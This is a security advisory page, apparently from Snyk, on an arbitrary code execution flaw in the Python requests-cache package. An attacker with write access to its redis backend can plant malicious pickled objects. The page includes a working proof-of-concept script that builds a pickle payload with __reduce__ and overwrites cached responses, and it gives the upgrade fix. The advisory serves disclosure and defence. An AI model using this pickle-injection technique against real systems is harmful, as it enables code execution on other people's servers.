Arbitrary Code Execution Affecting requests-cache package, versions [,0.6.0.dev1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-REQUESTSCACHE-1089050
  • published25 Mar 2021
  • disclosed25 Mar 2021
  • creditVarbin

Introduced: 25 Mar 2021

CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade requests-cache to version 0.6.0.dev1 or higher.

Overview

requests-cache is a Persistent cache for requests library

Affected versions of this package are vulnerable to Arbitrary Code Execution via accessing the redis cache (with write permissions).

PoC

import requests
import requests_cache

requests_cache.install_cache(cache_name='cache',backend='redis')
requests_cache.clear()

print("Filling cache.")
response = requests.get("https://example.org")


### attacker's part

print('Attacker: "Planting" exploit')
from redis import StrictRedis as Redis
from requests_cache.backends.storage.redisdict import RedisDict

rd = Redis()

class Exploit:
    def __reduce__(self):
        return (print, ("I won.",))

import pickle

exploit = pickle.dumps(Exploit(), protocol=0)

for key in rd.hgetall("cache:responses").keys():
    rd.hset("cache:responses", key, exploit)

print('Attacker: finished')

<h3>end of attacker's part</h3>


print("Accessing cache")
response = requests.get("https://example.org")

References

CVSS Scores

version 3.1